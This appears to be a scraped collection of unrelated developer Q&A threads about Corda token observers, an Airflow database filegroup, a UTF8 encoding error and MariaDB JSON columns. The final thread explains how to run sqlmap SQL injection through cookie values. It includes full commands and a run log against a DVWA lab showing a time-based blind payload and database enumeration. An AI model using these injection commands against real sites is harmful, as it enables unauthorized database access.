Setup:
Corda: 4.6
Tokens SDK: 1.2.2
Problem:
When issuing/moving Confidential Fungible and Non-Fungible tokens using Flows:
ConfidentialIssueTokens()
ConfidentialMoveFungibleTokens()
ConfidentialMoveNonFungibleTokens()
If an Observer is included an error will occur.
When testing with a MockNetwork the following error is reported:
[ERROR] 13:45:18 [Mock network] SqlExceptionHelper. - NULL not allowed
for column "HOLDER"; SQL statement: insert into non_fungible_token
(holder, issuer, token_class, token_identifier, output_index,
transaction_id) values (?, ?, ?, ?, ?, ?) [23502-199]
When running nodes locally using Cordform the following error appears in the Observer's log:
Caused by: org.h2.jdbc.JdbcSQLIntegrityConstraintViolationException:
NULL not allowed for column "HOLDER"; SQL statement: insert into
fungible_token (amount, holder, issuer, holding_key, token_class,
token_identifier, output_index, transaction_id) values (?, ?, ?, ?, ?,
?, ?, ?) [23502-199]
The Observer will not receive the state and a Flow will be entered in their Flow Hospital. Otherwise the transaction seems to be successful. The tokens will be successfully issued/moved to the appropriate Party's vaults.
Related
Airflow web page shows:
"The scheduler does not appear to be running. Last heartbeat was received 6 hours ago.
The DAGs list may not update, and new tasks will not be scheduled"
Airflow is inoperable. It appears I ran out of disk space. I've manually cleared log folder and now have disk space. When I run "airflow scheduler" I get error messages below. I do not know how to resolve.
airflow scheduler
[2023-02-10 21:10:54,079] {cli_action_loggers.py:105} WARNING - Failed to log action with (pyodbc.ProgrammingError) ('42000', "[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Could not allocate space for object 'dbo.log'.'PK__log__3213E83F7F1F073F' in database 'airflow' because the 'PRIMARY' filegroup is full. Create disk space by deleting unneeded files, dropping objects in the filegroup, adding additional files to the filegroup, or setting autogrowth on for existing files in the filegroup. (1105) (SQLExecDirectW)")
[SQL: INSERT INTO log (dttm, dag_id, task_id, event, execution_date, owner, extra) OUTPUT inserted.id VALUES (?, ?, ?, ?, ?, ?, ?)]
[parameters: (datetime.datetime(2023, 2, 10, 21, 10, 54, 51696, tzinfo=Timezone('UTC')), None, None, 'cli_scheduler', None, 'root', '{"host_name": "plappnx-1", "full_command": "[\'/usr/local/bin/airflow\', \'scheduler\']"}')]
(Background on this error at: http://sqlalche.me/e/14/f405)
sqlalchemy.exc.ProgrammingError: (pyodbc.ProgrammingError) ('42000', "[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Could not allocate space for object 'dbo.job'.'PK__job__3213E83F7D216A15' in database 'airflow' because the 'PRIMARY' filegroup is full. Create disk space by deleting unneeded files, dropping objects in the filegroup, adding additional files to the filegroup, or setting autogrowth on for existing files in the filegroup. (1105) (SQLExecDirectW)")
[SQL: INSERT INTO job (dag_id, state, job_type, start_date, end_date, latest_heartbeat, executor_class, hostname, unixname) OUTPUT inserted.id VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)]
[parameters: (None, <TaskInstanceState.RUNNING: 'running'>, 'SchedulerJob', datetime.datetime(2023, 2, 10, 21, 10, 54, 981528, tzinfo=Timezone('UTC')), None, datetime.datetime(2023, 2, 10, 21, 10, 54, 981540, tzinfo=Timezone('UTC')), 'SequentialExecutor', 'plappnx-1', 'root')]
The problem is not related to Airflow, neither the disk space, it's a DB problem, where you have added MAXSIZE when you created your DB, and the DB log (not Airflow log) has already reached this limit.
You can delete some of the DB log files to unblock you Airflow workload, but you need a persistent solution like increasing the MAXSIZE or setting it to unlimited.
Here is a blog which explain the problem and propose some solutions.
When I was about to deploy my Symfony4 app in ubuntu 18 php7.1-fpm + apache I execute some commands to load default data and some fixtures. The problem is that always receive SQLSTATE[22021]: Character not in repertoire: 7 ERROR: invalid byte sequence for encoding "UTF8": 0xcd 0x73 In the entities I noticed that are the fields which are mapped as array, json, or simple_array.
Here is an example of one of those fields value:
\x65\x6d\x70\x72\x65\x73\x61\x20\x64\x65\x20\x6
1\x73\x65\x67\x75\x72\x61\x6d\x69\x65\x6e\x74\x6f\x20\x6c\x6f\x67\xcd\x73\x74\x69\x63\x6f\x20\x61\x6c\x20\x74\x61\x62\x61\x63\x6f
That is the value for an array of string.
The database config is setted to UTF-8 also the php.ini configuration, the database server is created also using UTF-8.
How can I fix this? I've created the database several times but the same results remains.
Thanks in advance!!
UPDATE
When I repeat the process on Windows none of this happens...
UPDATE
Here the complete crash log
[2019-10-08 15:21:26] doctrine.DEBUG: INSERT INTO ext_log_entries (id, action, logged_at, object_id, object_class, version, data, username) VALUES (?, ?, ?, ?, ?, ?, ?, ?) {"1":2042,"2":"create","3":"2019-10-08 15:21:24","4":2042,"5":"App\\Entity\\SeaShipment","6":1,"7":{"manifest":"0323/2019","dmNumber":null,"arrivedAt":"2019-09-16 23:00:00","companyName":"MAQUIMPORT","agencyName":"MINAGRI","contractNumber":null,"merchandiseDescription":null,"countryName":null,"dmNumberAt":null,"etaAt":null,"funderName":null,"customerName":null,"empoweredName":null,"buyerName":null,"docsReceivedAt":null,"originalDocsReceivedAt":null,"billingDeliveredAt":null,"funderBilling":null,"deliveredCustomerAt":null,"isUpdatable":null,"createdFromIp":null,"lastUpdatedFromIp":null,"createdBy":null,"lastUpdatedBy":null,"createdAt":"2019-10-08 15:21:20","lastUpdatedAt":"2019-10-08 15:21:20","deletedAt":null,"seaShipmentType":null,"bl":"2019-M-001147","destinationDock":"TCM","isReleasedHouse":true,"isReleasedMaster":true,"isLocked":false,"isEnabled":true,"daysWithoutDm":0,"daysInTcm":3,"location":"B06","weight":8562,"yard":null,"cabotage":null,"transferedAt":"2019-09-16 14:25:00","transferedTo":"(binary value)","containerNumber":"MAGU5169507","containerType":"HC","containerDimention":40,"lastMarielReportAt":"2019-09-19 23:00:00","shippingCompanyName":"NIRINT","isActive":true,"shipName":null,"journey":null,"originDock":null,"blAt":null,"correspondentName":null,"forwarderName":null,"downloadUngroupAt":null,"beDeliveredAt":null,"packageQuantity":null,"shippingCompany":{"id":26}},"8":null} []
For other similar data or transactions before this one the problem is not happening
Can it be that your database doesn't accept cyrillyc/arabic etc alphabets ?
If yes that may help (if you use mysql):
Add to file etc/mysql/my.cnf:
[mysqld]
collation-server = utf8mb4_bin
init-connect='SET NAMES utf8mb4'
character-set-server = utf8mb4
skip-character-set-client-handshake
[client]
default-character-set = utf8mb4
[mysql]
default-character-set = utf8mb4
After that :
sudo service mysql restart
then drop database and create it from scratch.
I am trying make user via CLI: (symfony doc)
php bin/console make:user
This command create User.php entity which implements UserInterface.
But after command:
php bin/console doctrine:schema:update --force
I get errors:
In AbstractMySQLDriver.php line 79:
An exception occurred while executing 'CREATE TABLE user (id INT AUTO_INCREMENT NOT NULL, email VARCHAR(18
0) NOT NULL, roles JSON NOT NULL, password VARCHAR(255) NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C74 (emai
l), PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB':
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the ma
nual that corresponds to your MariaDB server version for the right syntax to use near 'JSON NOT NULL, pass
word VARCHAR(255) NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C7' at line 1
In PDOConnection.php line 90:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the ma
nual that corresponds to your MariaDB server version for the right syntax to use near 'JSON NOT NULL, pass
word VARCHAR(255) NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C7' at line 1
In PDOConnection.php line 88:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the ma
nual that corresponds to your MariaDB server version for the right syntax to use near 'JSON NOT NULL, pass
word VARCHAR(255) NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C7' at line 1
EDIT:
Info about sql:
Server type: MariaDB
Server version: 10.1.31-MariaDB - mariadb.org binary distribution
Protocol version: 10
Your MariaDB has to be updated. You have a field with type=JSON (e.g. roles), but that is only available from 10.2+, you have version 10.1.
Also, the method you're using (update+ --force) isn't very Symfony 4. A better aproach would be:
php bin/console make:user
php bin/console make:migration
php bin/console doctrine:migrations:migrate
JSON Type is an unknown type for your MariaDB database version (cf type documentation). Doctrine creates a bad migration script, because it didn't know which version you're using.
Configure server_version in config/packages/doctrine.yml to:
doctrine:
dbal:
# configure these for your database server
driver: 'pdo_mysql'
server_version: 'XXXX'
...
Replace X by your version, prefixed by mariadb- as mentioned in documentation. So DoctrineBundle will know that JSON is not supported and will replace by another type.
When i run comand php bin/console doctrine:migration:migrate i got this error I don't know where is come from.
command line error :
In AbstractMySQLDriver.php line 99:
An exception occurred while executing 'CREATE TABLE user (id INT AUTO_INCREMENT NOT NULL, email VARCHAR(180) NOT NU
LL, roles JSON NOT NULL, password VARCHAR(255) NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C74 (email), PRIMARY KEY(id
)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB':
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near 'JSON NOT NULL, password VARCHAR(255)
NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C7' at line 1
In PDOConnection.php line 109:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near 'JSON NOT NULL, password VARCHAR(255)
NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C7' at line 1
In PDOConnection.php line 107:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near 'JSON NOT NULL, password VARCHAR(255)
NOT NULL, UNIQUE INDEX UNIQ_8D93D649E7927C7' at line 1
My env
my env
Andrei is right. You either have to upgrade your database or (much easier) config your symfony to use the lower Version of MySQL.
config/packages/doctrine.yaml
doctrine:
dbal:
# configure these for your database server
driver: 'pdo_mysql'
server_version: '5.6'
here you can find a table with the compatibilitys of MySQL and MariaDB.
Update your MySQL's version to MySQL 5.7.
Because your current version does not support MySQL 5.7's JSON objects.
In this case you can simply paste this code in config/packages/doctrine.yaml :
doctrine:
dbal:
# configure these for your database server
driver: 'pdo_mysql'
server_version: '5.5'
Please note that the version information can conflict with the one defined in the database URL
If you added the server version information to the doctrine.yaml and the problem persisted, try checking "serverVersion" at the end if your database URL and set it to 5.6 or the compatible vresion you found
I need to do SQL injection on a part of cookie using sqlmap. The target URL is static.
A sample cookie:
Cookie1=blah_var1/blah_val1/blah_var2/blah_val2/searchtext/userinput/blah_var3/blah_val3/.../
In this cookie i need to inject the "userinput" using sqlmap. I know --cookie parameter but it wont work in this case. This is like part of cookie alone have to be injected using sqlmap.
I don't know how to do this. Please help.
i got the same problem to inject SQL in Cookie, I looked at its help and its code, now finally something made some sense, let me put my hypothesis:
Cookie base inject works with only level>=2.
You need to specify param-filter='COOKIE'.
Do not let sqlmap to try for URI injections when it asked for, or else it will fail by doing GET/POST based testing.
If you specify custom injection marker on that testable cookie do not proceed with that, or else it will fail.
I didn't try so many combinations on 3rd and 4th points, feel free to invalidate them. Okay so, try something like this:
sqlmap -u 'protocol://test.server/test_url/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777' --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2
options necessary for cookie based testing are: -u, --cookie, -p, --param-filter, --level.
Command tried on SQLMap version: 1.4.8#stable
output:
$ sqlmap -u 'http://dvwa.local/vulnerabilities/sqli_blind/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777' --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2
___
__H__
___ ___[']_____ ___ ___ {1.4.8#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting # 01:18:36 /2020-08-31/
[01:18:36] [WARNING] using '/home/dinesh/Documents/work/workspaces/git_temp_projs/dvwa/SQL_Injection_Blind/sqlmapdir' as the output directory
[01:18:36] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site_com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] n
[01:18:39] [INFO] testing connection to the target URL
[01:18:40] [INFO] testing if the target URL content is stable
[01:18:43] [INFO] target URL content is stable
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[01:19:01] [WARNING] heuristic (basic) test shows that Cookie parameter 'id' might not be injectable
[01:19:02] [INFO] testing for SQL injection on Cookie parameter 'id'
[01:19:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:19:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[01:19:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[01:19:15] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:19:17] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[01:19:17] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[01:19:17] [INFO] testing 'Generic inline queries'
[01:19:17] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:19:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[01:19:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:19:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:19:31] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:19:32] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[01:19:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[01:19:47] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[01:19:50] [INFO] testing 'MySQL inline queries'
[01:19:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:19:52] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[01:19:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:20:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[01:20:33] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[01:21:28] [INFO] Cookie parameter 'id' appears to be 'MySQL >= 5.0.12 RLIKE time-based blind' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] n
[01:23:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:23:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:23:47] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
[01:24:08] [WARNING] if UNION based SQL injection is not detected, please consider usage of option '--union-char' (e.g. '--union-char=1')
[01:24:08] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[01:24:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[01:24:27] [INFO] testing 'MySQL UNION query (65) - 21 to 40 columns'
[01:24:36] [INFO] checking if the injection point on Cookie parameter 'id' is a false positive
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 262 HTTP(s) requests:
---
Parameter: id (Cookie)
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: id=*' RLIKE SLEEP(5) AND 'EZrr'='EZrr; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high
---
[01:50:27] [INFO] the back-end DBMS is MySQL
[01:50:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[01:50:52] [INFO] fetching database names
[01:50:52] [INFO] fetching number of databases
[01:50:52] [INFO] retrieved: 2
[01:51:42] [INFO] retrieved: information_schema
[02:16:58] [INFO] retrieved: dvwa
available databases [2]:
[*] dvwa
[*] information_schema
[02:22:32] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 414 times
[02:22:32] [INFO] fetched data logged to text files under '/home/dinesh/Documents/work/workspaces/git_temp_projs/dvwa/SQL_Injection_Blind/sqlmapdir/dvwa.local'
[*] ending # 02:22:32 /2020-08-31/
Intercept all request, save it to a file and then give that file to sqlmap with -r parameter, by default sqlmap should check cookie.
sqlmap.py -r request.txt
You can use tamper data (firefox extension), or free version of burp proxy to intercept request.
Try something like this:
sqlmap.py -u localhost/vulnerable --cookie="STATE_COOKIE=%2F1%2F_VMD%2F1%26_REQS%2F_RVID%2FCriteriaResourceFilter%2F_TIME%2F1403689244638%2F_ORVID%2FPassTrixMain%2FSEARCH_COLUMN%2FRESOURCENAME%2FSEARCH_VALUE%2Fsearchtext*"
This will test the parameter auth in the cookie:
sqlmap -u "website" --cookie='auth=blabla; uuid=blabla' -p auth --level=2
Level must be at least 2. This isn't the only way to specify the parameter to test, you can also use * to specify the injection point.
sqlmap -u "website" --cookie='auth=blabla; uuid=*' --level=2